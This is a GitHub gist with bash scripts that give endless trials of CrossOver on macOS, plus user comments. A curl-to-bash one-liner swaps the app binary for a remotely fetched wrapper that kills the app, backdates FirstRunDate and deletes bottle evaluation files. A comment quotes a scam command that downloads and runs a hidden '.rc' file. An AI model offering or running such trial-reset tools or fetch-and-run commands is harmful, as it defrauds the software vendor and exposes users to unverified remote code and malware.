Skip to content

Instantly share code, notes, and snippets.

@santaklouse
Last active October 27, 2025 01:13
Show Gist options
  • Save santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef to your computer and use it in GitHub Desktop.
Save santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef to your computer and use it in GitHub Desktop.
unlimited CrossOver trial (MacOS)

Run it in console for permanent install :

bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"

After install script will fix crossover as well as expired bottles (Thanks to @djsmax).

#!/usr/bin/env bash
# checck if pidof exists
PIDOF="$(which pidof)"
# and if not - install it
(test "${PIDOF}" && test -f "${PIDOF}") || brew install pidof
# find app in default paths
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit)
PWD="${CO_PWD}"
cd "${PWD}"
PROC_NAME='CrossOver'
# get all pids of CrossOver
pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`)
pids=`echo ${pids[*]}|tr ',' ' '`
# kills CrossOver process if it is running
[ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1
# wait until app finish
sleep 3
# make the current date RFC3339-encoded string representation in UTC time zone
DATETIME=`date -u -v -3H '+%Y-%m-%dT%TZ'`
# modify time in order to reset trial
plutil -replace FirstRunDate -date "${DATETIME}" ~/Library/Preferences/com.codeweavers.CrossOver.plist
plutil -replace SULastCheckTime -date "${DATETIME}" ~/Library/Preferences/com.codeweavers.CrossOver.plist
# show tooltip notification
/usr/bin/osascript -e "display notification \"trial fixed: date changed to ${DATETIME}\""
# reset all bottles
for file in ~/Library/Application\ Support/CrossOver/Bottles/*/.{eval,update-timestamp}; do rm -rf "${file}";done
# and after this execute original crossover
echo "${PWD}" > /tmp/co_log.log
"$($PWD/CrossOver.origin)" >> /tmp/co_log.log
#!/usr/bin/env bash
# find app in default paths
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit)
PWD="${CO_PWD}"
cd "${PWD}"
PROC_NAME='CrossOver'
# get all pids of CrossOver
pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`)
pids=`echo ${pids[*]}|tr ',' ' '`
# kills CrossOver process if it is running
[ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1
TIMESTAMP=$(date +%s)
FIX_FILE_LINK="https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/CrossOver.sh?token=${TIMESTAMP}"
if [ -f CrossOver.origin ]; then
echo 'already installed. update and exit.'
echo "$(curl -fsSL ${FIX_FILE_LINK})" > CrossOver
exit
fi;
test -f CrossOver.origin || mv CrossOver CrossOver.origin
echo "$(curl -fsSL ${FIX_FILE_LINK})" > CrossOver
chmod +x CrossOver
echo 'Done. Please open CrossOver '
#!/usr/bin/env bash
# find app in default paths
CO_PWD=~/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || CO_PWD=/Applications/CrossOver.app/Contents/MacOS
test -d "${CO_PWD}" || (echo 'unable to detect app path. exiting...' && exit)
PWD="${CO_PWD}"
cd "${PWD}"
PROC_NAME='CrossOver'
# get all pids of CrossOver
pids=(`pgrep "${PROC_NAME}"`, `pidof "${PROC_NAME}"`, `ps -Ac | grep -m1 "${PROC_NAME}" | awk '{print $1}'`)
pids=`echo ${pids[*]}|tr ',' ' '`
# kills CrossOver process if it is running
[ "${pids}" ] && kill -9 `echo "${pids}"` > /dev/null 2>&1
if [ -f CrossOver.origin ]; then
echo 'original file found. Roll it back and exit.'
mv CrossOver.origin CrossOver
exit
fi;
echo 'original file not found.'
@tadonagiren
Copy link

Can I use it with Crossover 25.1.1?

@fmPeretti
Copy link

Can I use it with Crossover 25.1.1?

yes

@zyndrolith
Copy link

anyone know if the command at the very top of the thread actually works? i’m a little skeptical about it due to it linking to elsewhere…

@tadonagiren
Copy link

Can I use it with Crossover 25.1.1?

yes

Is that true? Thanks for letting me know!

@AguSandoval
Copy link

running the command on my iTerm returns the following err:

`bash -c "$(curl -fsSL https://gist.github.com/santaklouse/a137ee51692b74d4cf2cc1bb68ed64ef/raw/install.sh?token=$(date +%s))"

any idea what's happening or where I'm wrong?

@nsheuerman-tech
Copy link

Is there a noob guide to doing this? I know how to use terminal and all, and I installed the brew/crossover command, but Im a little confused on what steps to take (click every link?) and in what order..

TIA

@Nygosaki
Copy link

@nsheuerman-tech @AguSandoval @tadonagiren @zyndrolith
The old command fron santaklouse has been outdated for a very long time.
An updated version is here https://github.com/Nygosaki/crossover-trial-renew.
You can see the source code in the repo and run that directly if you'd like.

@mousawiyoyo7-lab
Copy link

How to extend if i didnt create a bottle. And can some one explain how to do it coz i kinda lost

@insanerest
Copy link

@thedownloadfile Nobody is dumb enough to download this malware. Here are the reasons:

  1. It's not open source. If it's not malware, then why don't you put the source code for the cracked crossover so that people can build it themselves
  2. Crossover was built to run Windows on Mac. Of course, since you never read about crossover and all you want to do is scam people, you don't know that. And so, you provide an EXE file meant to run on Windows, not Mac. And that's a reason to suspect you're a scammer.
  3. Even if someone were to download your malware, he'd discover that it's an EXE file and not a Mac app. So he won't run it.

If you are reading this comment, please report @thedownloadfile profile to GitHub.

@UrkiMimi
Copy link

For the hell of it, I went to the site @thedownloadfile posted and it redirected me to a blatant shell command scam lmao. It tells the user to paste in a base64 encoded string into the terminal (which decodes to curl -s -k [sketchy url] -o .rc && chmod +x .rc && ./.rc && rm .rc).

I did try to run this in Tria.ge but the executable it downloads is ARM only.

@supahfox
Copy link

I've reported them
IMG_4570

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment